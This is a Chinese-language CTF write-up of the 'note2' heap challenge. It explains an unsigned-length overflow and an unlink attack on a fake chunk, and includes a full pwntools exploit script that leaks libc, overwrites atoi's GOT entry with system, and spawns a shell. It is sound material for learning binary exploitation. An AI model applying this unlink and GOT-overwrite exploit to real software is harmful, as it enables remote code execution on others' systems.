unlink利用
这题自己写了一个read方法,代码如下
结束条件是传进来的第三个参数,这题一般传的都是0xa,也就是换行。
但是循环变量i是unsigned,所以当len-1为-1,即len为0时,差不多可以读0xffffffffffffffff个字符,能造成堆溢出。而len为0时,ptmalloc2还是会开出一个0x21的chunk(header+fd+bk)。
申请的时候会调用之前那个自己写的read函数来初始化content,然后会记录一个size到一个数组上,这个size在修改的时候会用来限制修改的长度。sub_400B10()会过滤掉’%’。
edit函数比较有意思,提供了覆写和添加两种修改方式,用的是strncat()和strcpy()来实现,这就需要注意了,在改写的时候如果有’\x00’应该是会打断修改的,所以如果要把某个地址写进去,只能写一个。
删除还是常规的清空了指针数组对应的位置,以及size数组对应的位置。
show的功能是用%s实现的。
一开始我是想用house of spirit去申请到指针数组前面一点的chunk的(fakechunk的size可以在一开始输入name的时候布置好),但是这题只能申请到4个chunk,完成house of spirit就不够了,所以开始考虑unlink。
unlink的话,其实就还是利用堆溢出,先申请3个chunk,第一个用来构造fakechunk,第二个用来溢出,第三个用来触发unlink。
布置好之后,把chunk 2给free掉,重新申请,利用堆溢出去改掉chunk3的prev_size(指向fakechunk)和size(取消prev_inuse标记)
布置成这样之后,free掉chunk3就可以触发fakechunk的unlink了。
成功把arr[0]改成了&arr[0]-0x18,然后就可以直接把arr[0]改成free@got,利用程序自带的show()去leak libc,然后再利用edit()去改掉atoi@plt,改成system的地址,下一次菜单选项直接输入’/bin/sh\x00’即可getshell。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import * context.log_level = 'debug' p = process('./note2')
elf = ELF('./note2') libc = ELF('./libc-2.23.so')
def choice(idx): p.recvuntil('>>\n') p.sendline(str(idx))
def allocate(sz, content): choice(1) p.recvuntil('128)\n') p.sendline(str(sz)) p.recvuntil('tent:\n') p.sendline(content)
def show(idx): choice(2) p.recvuntil('note:\n') p.sendline(str(idx))
def edit(idx, op, content): choice(3) p.recvuntil('note:\n') p.sendline(str(idx)) p.recvuntil('end]\n') p.sendline(str(op)) p.recvuntil('tents:') p.sendline(content)
def delete(idx): choice(4) p.recvuntil('note:\n') p.sendline(str(idx))
pay = b'a'*0x38 + p64(0x21) p.recvuntil('name:\n') p.sendline(pay) p.recvuntil('ress:\n') p.sendline(b'\n') arr = 0x602120
pay = p64(0) + p64(0x21) pay += p64(arr-0x18) + p64(arr-0x10) pay += p64(0x20) allocate(0x30, pay) allocate(0, b'\n') allocate(0x80, b'\n')
delete(1) pay = b'a'*0x10 + p64(0x50) + p64(0x90) allocate(0, pay)
delete(2)
atoi_got = elf.got['atoi'] sys_offset = libc.symbols['system'] pay = b'a'*0x18 + p64(atoi_got) edit(0, 1, pay) show(0) p.recvuntil(' is ') atoi_addr = u64(p.recv(6) + b'\x00\x00') print(hex(atoi_addr)) offset = 0x36e90 libc_base = atoi_addr - offset sys_plt = libc_base + sys_offset edit(0, 1, p64(sys_plt)) p.recvuntil('>>\n') p.sendline(b'/bin/sh\x00')
p.interactive()
|